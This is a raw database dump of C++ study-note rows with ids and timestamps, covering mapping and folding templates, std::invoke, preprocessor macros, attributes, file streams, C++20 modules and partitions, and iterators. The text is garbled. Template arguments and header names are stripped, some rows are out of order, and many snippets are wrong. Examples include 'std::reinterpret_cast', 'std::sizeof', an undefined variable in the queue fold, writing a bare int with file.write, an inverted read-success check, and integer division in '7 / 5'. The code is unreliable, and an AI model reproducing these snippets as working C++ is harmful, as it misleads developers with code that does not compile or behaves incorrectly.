std::begin(range), std::forward(callable));\n return range;\n} text txt 2024-07-28 10:04:37.108586 0 +3350 795 template\nstd::map mapping(F&& callable, std::map const& range)\n{\n std::map mapped; text txt 2024-07-28 10:04:37.129748 0 +3351 795 for (auto const kvpair: range)\n mapped.insert(callable(kvpair)); text txt 2024-07-28 10:04:37.150416 0 +3352 795 return mapped;\n} text txt 2024-07-28 10:04:37.171364 0 +3353 795 template \nstd::queue mapping(F&& callable, std::queue const& range)\n{\n std::queue mapped; text txt 2024-07-28 10:04:37.19253 0 +3354 795 while (!range.empty())\n {\n mapped.push(callable(range.front()));\n range.pop();\n } text txt 2024-07-28 10:04:37.214161 0 +3355 795 return mapped;\n} code txt 2024-07-28 10:04:37.235179 0 +3356 796 #include \n#include \n#include \n#include text txt 2024-07-28 10:04:37.823123 0 +3357 796 template\nR mapping(F&& callable, R const& range)\n{\n std::transform(std::begin(range), std::end(range), std::begin(range), std::forward(callable));\n return range;\n} text txt 2024-07-28 10:04:37.843191 0 +3358 796 int main()\n{\n std::vector numbers{-3, 8, -5, -9, 2, -1, 0, -7};\n std::vector absolutes = mapping(std::abs<>(), numbers);\n} code txt 2024-07-28 10:04:37.863858 0 +3359 797 Since the order of the processing can be important, there are usually two versions of this function. One is foldleft, which processes elements from left to right, while the other is foldright, which combines the elements from right to left. text txt 2024-07-28 10:04:38.579548 0 +3360 797 * Use `std::accumulate()` on containers that support iterating\n* Use other means to explicitly process containers that do not support iterating, such as `std::queue` text txt 2024-07-28 10:04:38.599553 0 +3361 797 #include \n#include text txt 2024-07-28 10:04:38.620211 0 +3362 797 template\nconstexpr T folding(F&& callable, R&& range, T init)\n{\n return std::accumulate(std::begin(range), std::end(range), std::move(init), std::forward(callable));\n} text txt 2024-07-28 10:04:38.640563 0 +3363 797 template\nconstexpr T folding(F&& callable, std::queue range, T init)\n{\n while (!range.empty())\n {\n init = callable(init, q.front());\n q.pop();\n } text txt 2024-07-28 10:04:38.661171 0 +3364 797 return init;\n} code txt 2024-07-28 10:04:38.681931 0 +3365 798 #include \n#include text txt 2024-07-28 10:04:39.172821 0 +3366 798 template\nconstexpr T folding(F&& callable, R&& range, T init)\n{\n return std::accumulate(std::begin(range), std::end(range), std::move(init), std::forward(callable));\n} text txt 2024-07-28 10:04:39.194135 0 +3367 798 int main()\n{\n std::vector numbers{0,1,2,3,4,5,6,7,8,9};\n int sum = folding(std::plus<>(), numbers, 0);\n} code txt 2024-07-28 10:04:39.214807 0 +3368 799 #include \n#include \n#include text txt 2024-07-28 10:04:39.807247 0 +3369 799 template\nconstexpr T folding(F&& callable, R&& range, T init)\n{\n return std::accumulate(std::begin(range), std::end(range), std::move(init), std::forward(callable));\n} text txt 2024-07-28 10:04:39.828612 0 +3370 799 int main()\n{\n std::map occurances{{"one", 1}, {"two", 2}, {"three", 3}};\n auto counter = [](int const s, std::pair const kvpair) { return s + kvpair.second; };\n int sum = folding(counter, occurances, 0);\n} code txt 2024-07-28 10:04:39.849581 0 +3371 800 #include text txt 2024-07-28 10:04:40.739583 0 +3372 800 int add(int const a, int const b) { return a + b; } text txt 2024-07-28 10:04:40.760217 0 +3373 800 struct base\n{\n int x = 0; text txt 2024-07-28 10:04:40.781741 0 +3374 800 void add(int const n) { x += n; }\n}; text txt 2024-07-28 10:04:40.803236 0 +3375 800 int main()\n{\n // free function\n int r1 = std::invoke(add, 1, 2); text txt 2024-07-28 10:04:40.825324 0 +3376 800 // free function through pointer to function\n int r2 = std::invoke(&add, 1, 2); text txt 2024-07-28 10:04:40.846437 0 +3377 800 // member functions through pointer to member function\n base object;\n std::invoke(&base::add, object, 3); text txt 2024-07-28 10:04:40.868077 0 +3378 800 // data members\n int r3 = std::invoke(&base::x, object); text txt 2024-07-28 10:04:40.889102 0 +3379 800 // function objects\n int r4 = std::invoke(std::plus<>(), std::invoke(&base::x, object), 3); text txt 2024-07-28 10:04:40.910307 0 +3380 800 // lambda expressions\n auto lambda = [](auto a, auto b) { return a + b; }\n int r5 = std::invoke(lambda, 1, 2);\n} code txt 2024-07-28 10:04:40.931323 0 +3381 801 #include \n#include text txt 2024-07-28 10:04:42.116862 0 +3382 801 namespace details\n{\n template\n auto apply(F&& callable, T&& parameter, std::index_sequence)\n {\n return std::invoke(std::forward(callable), std::get(std::forward

(paramter))...);\n }\n} text txt 2024-07-28 10:04:42.138321 0 +3383 801 template\nauto apply(F&& callable, P&& parameter)\n{\n return details::apply(std::forward(callable), std::forward

(parameter), std::make_index_sequence>>{});\n} text txt 2024-07-28 10:04:42.158435 0 +3384 801 int add(int const a, int const b) { return a + b; } text txt 2024-07-28 10:04:42.178181 0 +3385 801 struct base\n{\n int x = 0; text txt 2024-07-28 10:04:42.198605 0 +3386 801 void add(int const n) { x += n; }\n}; text txt 2024-07-28 10:04:42.218708 0 +3387 801 int main()\n{\n // direct call\n int r1 = add(1, 2); text txt 2024-07-28 10:04:42.238389 0 +3388 801 // call through function pointer\n int(*fadd)(int const, int const) = &add;\n int r2 = fadd(1, 2); text txt 2024-07-28 10:04:42.259234 0 +3389 801 // direct member function call\n base object;\n object.add(3);\n int r3 = object.x; text txt 2024-07-28 10:04:42.279452 0 +3390 801 // member function call through function pointer\n void(base::*fadd)(int const) = &base::add;\n (object.*fadd)(3);\n int r4 = object.x;\n} code txt 2024-07-28 10:04:42.299647 0 +3391 802 #if !defined(HEADER_NAME)\n#define HEADER_NAME\n/* ... */\n#endif code txt 2024-07-28 10:04:42.589063 0 +3392 803 #include text txt 2024-07-28 10:04:43.063399 0 +3393 803 void show_compiler()\n{\n#if defined _MSC_VER_\n std::cout << "Visual C++\\\\n";\n#elif defined __clang__\n std::cout << "Clang\\\\n";\n#elif defined __GNUG__\n std::cout << "GCC\\\\n";\n#else\n std::cout << "Unknown compiler\\\\n";\n#endif\n} code txt 2024-07-28 10:04:43.083954 0 +3394 804 void show_architecture()\n{\n#if defined _MSC_VER text txt 2024-07-28 10:04:43.948745 0 +3395 804 #if defined _M_X64\n std::cout << "AMD64\\\\n";\n#elif defined _M_IX86\n std::cout << "INTEL x86\\\\n";\n#elif defined _M_ARM\n std::cout << "ARM\\\\n";\n#else\n std::cout << "unknown\\\\n";\n#endif text txt 2024-07-28 10:04:43.970519 0 +3396 804 #elif defined __clang__ || __GNUG__ text txt 2024-07-28 10:04:43.990706 0 +3397 804 #if defined __amd64__\n std::cout << "AMD64\\\\n";\n#elif defined __i386__\n std::cout << "INTEL x86\\\\n";\n#elif defined __arm__\n std::cout << "ARM\\\\n";\n#else\n std::cout << "unknown\\\\n";\n#endif text txt 2024-07-28 10:04:44.011796 0 +3398 804 #else\n #error Unknown compiler\n#endif\n} code txt 2024-07-28 10:04:44.032394 0 +3399 805 void show_configuration()\n{\n#ifdef _DEBUG\n std::cout << "debug\\\\n";\n#else\n std::cout << "release\\\\n";\n#endif\n} code txt 2024-07-28 10:04:44.385243 0 +3400 806 #define MAKE_STR2(x) #x text txt 2024-07-28 10:04:44.679138 0 +3401 806 #define MAKE_STR(x) MAKE_STR2(x) code txt 2024-07-28 10:04:44.699254 0 +3402 807 #define MERGE2(x, y) x##y text txt 2024-07-28 10:04:44.957678 0 +3403 807 #define MERGE(x, y) MERGE2(x, y) code txt 2024-07-28 10:04:44.978617 0 +3404 808 struct alignas(8) item\n{\n int id;\n bool active;\n double value;\n}; text txt 2024-07-28 10:04:45.367488 0 +3405 808 static_assert(sizeof(item) == 16, "size of item must be 16 bytes"); code txt 2024-07-28 10:04:45.388825 0 +3406 809 template\nclass pod_wrapper\n{\n static_assert(std::is_standard_layout_v, "POD type expected!");\n T value;\n}; text txt 2024-07-28 10:04:45.965597 0 +3407 809 struct point\n{\n int x;\n int y;\n}; text txt 2024-07-28 10:04:45.985719 0 +3408 809 pod_wrapper w1; // OK\npod_wrapper w2; // OK\npod_wrapper w3; // error: POD type expected code txt 2024-07-28 10:04:46.007265 0 +3409 810 template, T>>\nclass pod_wrapper\n{\n T value;\n}; text txt 2024-07-28 10:04:46.751234 0 +3410 810 struct point\n{\n int x;\n int y;\n}; text txt 2024-07-28 10:04:46.772598 0 +3411 810 pod_wrapper w1; // OK\npod_wrapper w2; // OK\npod_wrapper w3; // error: too few template arguments text txt 2024-07-28 10:04:46.793268 0 +3412 810 template, T>>\nauto mul(T const a, T const b)\n{\n return a * b;\n} text txt 2024-07-28 10:04:46.814119 0 +3413 810 auto v1 = mul(1, 2); // OK\nauto v2 = mul(1.0, 2.0); // error: no matching overloaded function found code txt 2024-07-28 10:04:46.834699 0 +3414 811 // using SFINAE\ntemplate, T>>\nauto value_of(T value) { return *value; } text txt 2024-07-28 10:04:47.783428 0 +3415 811 template, T>>\nT value_of(T value) { return value; } text txt 2024-07-28 10:04:47.804333 0 +3416 811 // simplified by if constexpr\ntemplate\nauto value_of(T value)\n{\n if constexpr (std::is_pointer_v)\n return *value;\n else\n return value;\n} code txt 2024-07-28 10:04:47.825422 0 +3417 811 template\nconstexpr CharT binary_eval()\n{\n if constexpr(sizeof...(bits) == 0)\n return static_cast(d-'0');\n else if constexpr(d == '0')\n return binary_eval();\n else if constexpr(d == '1')\n return static_cast((1 << sizeof...(bits)) | binary_eval());\n} text txt 2024-07-28 10:04:47.846905 0 +3418 811 template\nconstexpr byte8 operator""_b8()\n{\n static_assert(sizeof...(bits) <= 8, "binary literal b8 must be up to 8 digits long");\n return binary_eval();\n} code txt 2024-07-28 10:04:47.867047 0 +3419 812 [[nodiscard]] int get_value() { return 42; } text txt 2024-07-28 10:04:48.120397 0 +3420 812 get_value(); // warning code txt 2024-07-28 10:04:48.142293 0 +3421 813 enum class [[nodiscard]] ReturnCodes{ OK, NoData, Error }; text txt 2024-07-28 10:04:48.519012 0 +3422 813 ReturnCodes get_error() { return ReturnCodes::OK; } text txt 2024-07-28 10:04:48.538625 0 +3423 813 struct [[nodiscard]] Item{}; text txt 2024-07-28 10:04:48.559983 0 +3424 813 Item get_item() { return Item{}; } code txt 2024-07-28 10:04:48.579593 0 +3425 814 [[deprecated("Use func2()")]] void func() { } text txt 2024-07-28 10:04:49.047824 0 +3426 814 // warning: 'func' is deprecated : Use func2()\nfunc(); text txt 2024-07-28 10:04:49.069203 0 +3427 814 class [[deprecated]] foo\n{\n}; text txt 2024-07-28 10:04:49.089563 0 +3428 814 // warning: 'foo' is deprecated\nfoo f; code txt 2024-07-28 10:04:49.109695 0 +3429 815 double run([[maybe_unused]] int a, double b)\n{\n return 2 * b;\n} text txt 2024-07-28 10:04:49.426172 0 +3430 815 [[maybe_unused]] auto i = get_value1(); code txt 2024-07-28 10:04:49.446318 0 +3431 816 void option1() {}\nvoid option2() {} text txt 2024-07-28 10:04:49.924248 0 +3432 816 int alternative = get_value(); text txt 2024-07-28 10:04:49.944934 0 +3433 816 switch (alternative)\n{\n case 1:\n option1();\n [[fallthrough]]; // this is intentional\n case 2:\n option2();\n} code txt 2024-07-28 10:04:49.965213 0 +3434 817 void execute_command(char cmd)\n{\n switch(cmd)\n {\n [[likely]] case 'a': /* add */ break;\n [[unlikely]] case 'd': /* delete */ break;\n case 'p': /* print */ break;\n default: /* do something else */ break;\n }\n} code txt 2024-07-28 10:04:50.375162 0 +3435 818 #include text txt 2024-07-28 10:04:50.885555 0 +3537 839 import :core; text txt 2024-07-28 10:05:06.165703 0 +3436 818 int main()\n{\n int data{0};\n std::ofstream file("/tmp/sample.txt"); text txt 2024-07-28 10:04:50.906768 0 +3437 818 if (file.is_open())\n {\n file.write(data);\n } text txt 2024-07-28 10:04:50.927525 0 +3438 818 file.close();\n} code txt 2024-07-28 10:04:50.949841 0 +3439 819 #include text txt 2024-07-28 10:04:51.472381 0 +3440 819 int main()\n{\n int data{0};\n std::ofstream file("/tmp/sample.txt", std::ios::app); text txt 2024-07-28 10:04:51.492941 0 +3441 819 if (file.is_open())\n {\n file.write(data);\n } text txt 2024-07-28 10:04:51.514638 0 +3442 819 file.close();\n} code txt 2024-07-28 10:04:51.534526 0 +3443 820 #include text txt 2024-07-28 10:04:51.997291 0 +3444 820 int main()\n{\n int data{0};\n std::ofstream file("/tmp/sample.bin", std::ios::binary); text txt 2024-07-28 10:04:52.01828 0 +3445 820 if (file.is_open())\n {\n file.write(std::reinterpret_cast(data));\n } text txt 2024-07-28 10:04:52.039633 0 +3446 820 file.close();\n} code txt 2024-07-28 10:04:52.061519 0 +3447 821 #include \n#include text txt 2024-07-28 10:04:52.545322 0 +3448 821 int main()\n{\n std::vector data{1,2,3};\n std::ofstream file("/tmp/sample.bin", std::ios::out | std::ios:bin); text txt 2024-07-28 10:04:52.566219 0 +3449 821 if (file.is_open())\n {\n file.write(std::reinterpret_cast(&data), data.size());\n } text txt 2024-07-28 10:04:52.587128 0 +3450 821 file.close();\n} code txt 2024-07-28 10:04:52.608174 0 +3451 822 #include text txt 2024-07-28 10:04:53.315798 0 +3452 822 int main()\n{\n std::ifstream file("/tmp/sample.txt"); text txt 2024-07-28 10:04:53.336426 0 +3453 822 if (file.is_open())\n {\n file.seekg(0, std::ios_base::end);\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:53.358551 0 +3454 822 file.close();\n } text txt 2024-07-28 10:04:53.378869 0 +3455 822 file.open("/tmp/sample.txt", std::ios::ate); text txt 2024-07-28 10:04:53.398657 0 +3456 822 if (file.is_open())\n {\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:53.419578 0 +3457 822 file.close();\n }\n} code txt 2024-07-28 10:04:53.438984 0 +3458 823 #include \n#include text txt 2024-07-28 10:04:54.085545 0 +3459 823 int main()\n{\n std::ifstream file("/tmp/sample.txt", std::ios::in); text txt 2024-07-28 10:04:54.106824 0 +3460 823 if (file.is_open())\n {\n file.seekg(0, std::ios_base::end);\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:54.129209 0 +3461 823 std::vector buffer;\n buffer.resize(length);\n file.read(reinterpret_cast(buffer.data(), length); text txt 2024-07-28 10:04:54.152085 0 +3462 823 if (!file.fail() || file.gcount() == length)\n std::cerr << "complete\\\\n"; text txt 2024-07-28 10:04:54.174051 0 +3463 823 file.close();\n }\n} code txt 2024-07-28 10:04:54.194739 0 +3464 824 typedef basic_ifstream ifstream;\ntypedef basic_ifstream wifstream;\ntypedef basic_ofstream ofstream;\ntypedef basic_ofstream wofstream;\ntypedef basic_fstream fstream;\ntypedef basic_fstream wfstream; code txt 2024-07-28 10:04:54.537982 0 +3465 825 All constructors except default constructor, call `open()` internally text txt 2024-07-28 10:04:54.876968 0 +3466 825 std::basic_fstream(const char*, std::ios_base::openmode);\nstd::basic_fstream(std::string const&, std::ios_base::openmode);\nstd::basic_fstream(std::filesystem::path::value_type const*, std::ios_base::openmode);\ntemplate std::basic_fstream(Path const&, sdt::ios_base::openmode); code txt 2024-07-28 10:04:54.898252 0 +3467 826 * `std::ios_base::app`\n* `std::ios_base::binary`\n* `std::ios_base::in`\n* `std::ios_base::out`\n* `std::ios_base::trunc`\n* `std::ios_base::ate` text txt 2024-07-28 10:04:55.212181 0 +3468 827 #include text txt 2024-07-28 10:04:55.809739 0 +3469 827 int main()\n{\n double buffer;\n std::ifstream file("/tmp/sample.txt"); text txt 2024-07-28 10:04:55.831116 0 +3470 827 if (file.is_open())\n {\n file.read(reinterpret_cast(buffer), std::sizeof(buffer)); text txt 2024-07-28 10:04:55.851641 0 +3471 827 if (file.gcount == std::sizeof(buffer))\n std::clog << "successfully read\\\\n";\n else\n std::clog << "failed to read completely\\\\n"; text txt 2024-07-28 10:04:55.873657 0 +3472 827 file.close();\n }\n} code txt 2024-07-28 10:04:55.894886 0 +3473 828 #include \n#include text txt 2024-07-28 10:04:56.550328 0 +3474 828 int main()\n{\n std::string content{"this is a sample content"};\n std::ofstream file("/tmp/sample.txt", std::ios::out); text txt 2024-07-28 10:04:56.571516 0 +3475 828 try {\n if (file.is_open())\n {\n file.write(content);\n file.close();\n }\n }\n catch (std::ios_base::failure const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:04:56.593005 0 +3476 829 #include \n#include \n#include text txt 2024-07-28 10:04:57.103578 0 +3477 829 int main()\n{\n std::vector buffer;\n std::ifstream file("/tmp/sample.txt", std::ios::in); text txt 2024-07-28 10:04:57.124809 0 +3478 829 if (file.is_open())\n {\n buffer = std::vector(std::istreambuf_iterator(file), std::ifstreambuf_iterator());\n file.close();\n }\n} code txt 2024-07-28 10:04:57.145902 0 +3479 830 #include \n#include text txt 2024-07-28 10:04:57.726209 0 +3480 830 int main()\n{\n std::vector buffer;\n std::ifstream file("/tmp/sample.txt", std::ios::in | std::ios::ate); text txt 2024-07-28 10:04:57.745947 0 +3481 830 if (file.is_open())\n {\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:57.766281 0 +3482 830 buffer.reserve(length);\n buffer.assign(std::ifstreambuf_iterator(file), std::ifstreambuf_iterator());\n file.close();\n }\n} code txt 2024-07-28 10:04:57.786487 0 +3483 831 #include \n#include \n#include \n#include text txt 2024-07-28 10:04:58.397808 0 +3484 831 int main()\n{\n std::vector buffer;\n std::ifstream file("/tmp/sample.txt", std::ios::in | std::ios::ate); text txt 2024-07-28 10:04:58.419655 0 +3485 831 if (file.is_open())\n {\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:58.441599 0 +3486 831 buffer.reserve(length);\n std::copy(std::ifstreambuf_iterator(file), std::ifstreambuf_iterator(), std::back_inserter(buffer));\n file.close();\n }\n} code txt 2024-07-28 10:04:58.4624 0 +3487 832 - Modules are only imported once and the order they're imported in does not matter.\n- Modules do not require splitting interfaces and implementation in different source files, although this is still possible.\n- Modules reduce compilation time. The entities exported from a module are described in a binary file that the compiler can process faster than traditional precompiled headers.\n- Exported files can potentially be used to build integrations with C++ code from other languages. text txt 2024-07-28 10:04:58.740238 0 +3548 839 constexpr double power{fraction * fraction}; code txt 2024-07-28 10:05:06.394594 0 +3489 833 int main()\n{\n std::cout << std::format("{}\\\\n", "modules are working");\n} code txt 2024-07-28 10:04:59.197554 0 +3490 833 Headers can also be imported: text txt 2024-07-28 10:04:59.218315 0 +3491 833 import std;\nimport "geometry.hpp" code txt 2024-07-28 10:04:59.241193 0 +3492 834 Export a module by creating a **Module Interface Unit (MIU)** that can\ncontain functions, types, constants, and even macros. text txt 2024-07-28 10:05:00.248075 0 +3493 834 module; // global module fragment text txt 2024-07-28 10:05:00.267079 0 +3494 834 #define X\n#include "code.h" text txt 2024-07-28 10:05:00.287024 0 +3495 834 export module geometry; // module declaration text txt 2024-07-28 10:05:00.307286 0 +3496 834 import std; // module preamble text txt 2024-07-28 10:05:00.32832 0 +3497 834 // module purview text txt 2024-07-28 10:05:00.349314 0 +3498 834 export template, T>>\nstruct point\n{\n T x;\n T y;\n}; text txt 2024-07-28 10:05:00.370374 0 +3499 834 export using int_point = point; text txt 2024-07-28 10:05:00.391676 0 +3500 834 export constexpr int_point int_point_zero{0, 0}; text txt 2024-07-28 10:05:00.412628 0 +3501 834 export template\ndouble distance(point const& p1, point const& p2)\n{\n return std::sqrt((p2.x - p1.x) * (p2.x - p1.x) + (p2.y - p1.y) * (p2.y - p1.y));\n} code txt 2024-07-28 10:05:00.433656 0 +3502 834 import std;\nimport geometry; text txt 2024-07-28 10:05:00.454562 0 +3503 834 int main()\n{\n int_point p{3, 4};\n std::cout << distance(int_point_zero, p) << std::endl;\n} code txt 2024-07-28 10:05:00.475832 0 +3504 835 - The **global module fragment**, introduced with a `module;` statement. This\n part is optional and, if present, may only contain preprocessor directives.\n Everything that is added here is said to belong to the *global module*,\n which is the collection of all the global module fragments and all\n translation units that are not modules. text txt 2024-07-28 10:05:00.851142 0 +3505 835 - The **module declaration**, which is a required statement of the form\n `export module name;`.\n- The **module preamble**, which is optional, and may only contain import\n declarations.\n- The **module purview**, which is the content of the unit, starting with the\n module declaration and extending to the end of the module unit. text txt 2024-07-28 10:05:00.874252 0 +3506 836 The source code of a module may become large and difficult to maintain.\nMoreover, a module may be composed of logically separate parts. To help with\nscenarios like that, modules support composition from parts called\n**partitions**. text txt 2024-07-28 10:05:01.196868 0 +3507 836 Although module partitions are distinct files, they are not available as\nseparate modules or submodules to translation units using a module. They are\nexported together as a single, aggregated module. text txt 2024-07-28 10:05:01.217851 0 +3508 837 A module unit that is a partition that exports entities is called a **module\ninterface partition**. text txt 2024-07-28 10:05:02.685231 0 +3509 837 Here the `geometry-core.cppm` and `geometry-literals.cppm` are internal partitions. text txt 2024-07-28 10:05:02.707305 0 +3510 837 *geometry-core.cppm*\nexport module geometry:core; text txt 2024-07-28 10:05:02.728462 0 +3511 837 import std.core; text txt 2024-07-28 10:05:02.750588 0 +3512 837 export template, T>>\nstruct point\n{\n T x;\n T y;\n}; code txt 2024-07-28 10:05:02.771462 0 +3513 837 *geometry-literals.cppm*\nexport module geometry.literals; text txt 2024-07-28 10:05:02.791709 0 +3514 837 import std.core; text txt 2024-07-28 10:05:02.811889 0 +3515 837 namespace geometry_literals\n{\n export point operator ""_p(const char* ptr, std::size_t const size)\n {\n int x{}, y{};\n ...\n return {x , y};\n }\n} code txt 2024-07-28 10:05:02.832633 0 +3516 837 In the primary module interface unit, import and then export the partitions\nwith statements of the form `export import :partitionname`. text txt 2024-07-28 10:05:02.853873 0 +3517 837 *geometry.cppm*\nexport module geometry; text txt 2024-07-28 10:05:02.875296 0 +3518 837 export import :core;\nexport import :literals; code txt 2024-07-28 10:05:02.894678 0 +3519 837 The code importing a module composed from multiple partitions only sees the\nmodule as a whole if it was built from a single module unit: text txt 2024-07-28 10:05:02.916031 0 +3520 837 import std.core;\nimport geometry; text txt 2024-07-28 10:05:02.93598 0 +3521 837 int main()\n{\n point p{4, 2}; text txt 2024-07-28 10:05:02.956206 0 +3522 837 {\n using namespace geometry_literals;\n point origin{"0,0"_p};\n }\n} code txt 2024-07-28 10:05:02.978564 0 +3523 838 Apart from *module interface partition*, there could also be internal\npartitions that do not export anything. Such partition unit is called a\n**module implementation partition**. text txt 2024-07-28 10:05:03.987289 0 +3524 838 It is possible to create internal partitions that do not export anything, but\ncontain code that can be used in the same module. text txt 2024-07-28 10:05:04.007724 0 +3525 838 modulename:partitionname;`. text txt 2024-07-28 10:05:04.027944 0 +3526 838 *geometry-details.cppm*\nmodule geometry:details; text txt 2024-07-28 10:05:04.049023 0 +3527 838 import std.core; text txt 2024-07-28 10:05:04.069346 0 +3528 838 std::pair split(char const* ptr, std::size_t const size)\n{\n int x{}, y{};\n ...\n return {x, y};\n} code txt 2024-07-28 10:05:04.091518 0 +3529 838 *geometry-literals.cppm*\nexport module geometry:literals; text txt 2024-07-28 10:05:04.111753 0 +3530 838 import :core;\nimport :details; text txt 2024-07-28 10:05:04.132399 0 +3531 838 namespace geometry_literals\n{\n export point operator ""_p(const char* ptr, std::size_t size)\n {\n auto [x, y] = split(ptr, size);\n return {x, y};\n }\n} code txt 2024-07-28 10:05:04.153749 0 +3532 839 Partitions are division of a module. However, they are not submodules. They\ndo not logically exist outside of the module. There is no concept of a\nsubmodule in the C++ language. text txt 2024-07-28 10:05:06.06292 0 +3533 839 This snippet uses module interface partition and module implementation partition. text txt 2024-07-28 10:05:06.083142 0 +3534 839 *sample-core.cppm*\nexport module sample:core; text txt 2024-07-28 10:05:06.104583 0 +3535 839 export constexpr double fraction{7 / 5}; code txt 2024-07-28 10:05:06.124644 0 +3536 839 *sample-details.cppm*\nmodule sample:details; text txt 2024-07-28 10:05:06.145393 0 +3538 839 constexpr double power{fraction * fraction}; code txt 2024-07-28 10:05:06.186225 0 +3539 839 *sample.cppm*\nexport module sample; text txt 2024-07-28 10:05:06.208552 0 +3540 839 export import :core; code txt 2024-07-28 10:05:06.228601 0 +3541 839 *consumer.cpp*\nimport std.core;\nimport sample; text txt 2024-07-28 10:05:06.249469 0 +3542 839 std::cout << power << "\\\\n"; code txt 2024-07-28 10:05:06.269004 0 +3543 839 Next snippet is the same implementation but with modules instead of partitions: text txt 2024-07-28 10:05:06.289464 0 +3544 839 *sample-core.cppm*\nexport module sample.core; text txt 2024-07-28 10:05:06.311174 0 +3545 839 export constexpr double fraction{7 / 5}; code txt 2024-07-28 10:05:06.331077 0 +3546 839 *sample-details.cppm*\nmodule sample.details; text txt 2024-07-28 10:05:06.352002 0 +3547 839 import sample.core; text txt 2024-07-28 10:05:06.371506 0 +3558 840 code txt 2024-07-28 10:05:06.787821 0 +3549 839 *sample.cppm*\nexport module sample; text txt 2024-07-28 10:05:06.414915 0 +3550 839 export import sample.core; code txt 2024-07-28 10:05:06.435067 0 +3551 839 *consumer.cpp*\nimport std.core;\nimport sample; text txt 2024-07-28 10:05:06.455441 0 +3552 839 std::cout << power << "\\\\n"; code txt 2024-07-28 10:05:06.47741 0 +3553 839 So far, we have two modules: `sample.core` and `sample`. Here `sample`\nimports and then re-exports the entire content of `sample.core`. Because of\nthis, the core in the `consumer.cpp` does not need to change. By solely\nimporting the `sample` module, we get access to the content of the\n`sample.core` module. text txt 2024-07-28 10:05:06.498986 0 +3554 839 However, if we do not define the `sample` module anymore, then we need to explicitly import `sample.core` module: text txt 2024-07-28 10:05:06.519829 0 +3555 839 *consumer.cpp*\nimport std.core;\nimport sample.core; text txt 2024-07-28 10:05:06.540011 0 +3556 839 std::cout << power << "\\\\n"; code txt 2024-07-28 10:05:06.56017 0 +3557 839 Choosing between using partitions or multiple modules for componentizing your\nsource code should depend on the particularities of your project. If you use\nmultiple smaller modules, you provide better granularity for imports. This\ncan be important if you're developing a large library because users should\nonly import things they use. text txt 2024-07-28 10:05:06.582148 0 +3559 841 |Iterator Category|Operations Required|\n|---|---|\n|Input Iterator|Read-only access: `operator*` `operator->`
forward only: `operator++`
assignable: `operator=`
copyable
comparable for equality: `operator==` `operator!=`|\n|Output Iterator|Read-only access: `operator*` (no `operator->` access)
forward only: `operator++`
assignable: `operator=`
copyable
no comparability supported|\n|Forward Iterator|Input Iterator capability
default constructor|\n|Bidirectional Iterator|Forward Iterator capability
bidirectional `operator++` `operator--`|\n|Random Access Iterator|Bidirectional Iterator capability
assignable: `operator=` `operator+=` `operator-=`
arithmetic: `operator+` `operator-`
copyable
comparable `operator==` `operator!=` `operator>` `operator<` `operator<=` `operator>=`
element-wise access `operator[]`|\n|Contiguous Iterator|Random access capability
logically adjacent elements of the container must be physically adjacent in memory| text txt 2024-07-28 10:05:07.358292 0 +3560 842 Every data structure of the Standard Library that supports iterators provides\npublic type aliases for its iterator type, called `iterator` and\n`const_iterator`. text txt 2024-07-28 10:05:07.765472 0 +3561 842 Containers that allow iteration over their elements in reverse order also\nprovide public type aliases called `reverse_iterator` and\n`const_reverse_iterator`. text txt 2024-07-28 10:05:07.786487 0 +3562 842 std::vector::const_reverse_iterator cr_iter;\nstd::vector::const_iterator c_iter;\nstd::vector::iterator iter; code txt 2024-07-28 10:05:07.807194 0 +3563 843 `` provides the following global nonmember functions to retrieve\nspecific iterators for a container: text txt 2024-07-28 10:05:08.178077 0 +3564 843 - `std::begin()` and `std::end()`\n- `std::rbegin()` and `std::rend()`\n- `std::cbegin()` and `std::cend()`\n- `std::crbegin()` and `std::crend()` text txt 2024-07-28 10:05:08.200328 0 +3565 843 These functions are also supported by standard data structures. text txt 2024-07-28 10:05:08.221212 0 +3566 844 When a function is called without its namespace qualification like `std::` ,\nit is said that the so called *argument dependent lookups* (ADL) is supported\nfor this function. text txt 2024-07-28 10:05:08.638698 0 +3567 844 #include \n#include text txt 2024-07-28 10:05:08.659357 0 +3568 844 std::vector scalar{1,2,3,4};\nauto iter = begin(scalar);\n// compiler deduces std::vector::iterator due argument type code txt 2024-07-28 10:05:08.679791 0 +3569 845 When you specialize a nonmember function for your own type, you can either\nput those specializations in the `std` namespace or put them in the same\nnamespace as the type for which you are specializing them. The latter is\nrecommended as this enables ADL. text txt 2024-07-28 10:05:08.994189 0 +3571 846 #include text txt 2024-07-28 10:05:09.304267 0 +3572 846 std::vector v;\nauto element_count = std::distance(std::begin(v), std::end(v)); code txt 2024-07-28 10:05:09.325322 0 +3573 847 Standard provides a class template called `iterator_traits`, defined in\n``, that allows you to find the type of the elements referred to by\nthe iterator to store temporary values, or to figure out whether the iterator\nis bidirectional or random access. text txt 2024-07-28 10:05:10.127255 0 +3574 847 To access to this information, instantiate `iterator_traits` class template\nwith the iterator type of interest, and access one of five type aliases: text txt 2024-07-28 10:05:10.148934 0 +3575 847 - `value_type`: The type of elements referred to\n- `difference_type`: A type capable of representing the distance\n- `iterator_category` (c++20): The type of iterator\n + `input_iterator_tag`\n + `output_iterator_tag`\n + `forward_iterator_tag`\n + `bidirectional_iterator_tag`\n + `random_access_iterator_tag`\n + `contiguous_iterator_tag`\n- `pointer`: The type of pointer to an element\n- `reference`: The type of reference to an element text txt 2024-07-28 10:05:10.170041 0 +3576 847 template\nvoid print_value(IteratorType it)\n{\n typename iterator_traits::value_type temp;\n temp = *it;\n std::cout << temp << std::endl;\n} text txt 2024-07-28 10:05:10.191603 0 +3577 847 std::vector v{42};\nprint_value(std::cbegin(v)); code txt 2024-07-28 10:05:10.211936 0 +3578 848 The standard library provides four stream iterators: text txt 2024-07-28 10:05:10.521519 0 +3579 848 - `std::istream_iterator`\n- `std::ostream_iterator`\n- `std::istreambuf_iterator`\n- `std::ostreambuf_iterator` text txt 2024-07-28 10:05:10.543128 0 +3580 849 #include \n#include text txt 2024-07-28 10:05:11.097827 0 +3581 849 template\nvoid copy(InputIterator begin, InputIterator end, OutputIterator target)\n{\n for (auto iter = begin; iter != end; ++iter, ++target)\n {\n *target = *iter;\n }\n} text txt 2024-07-28 10:05:11.119169 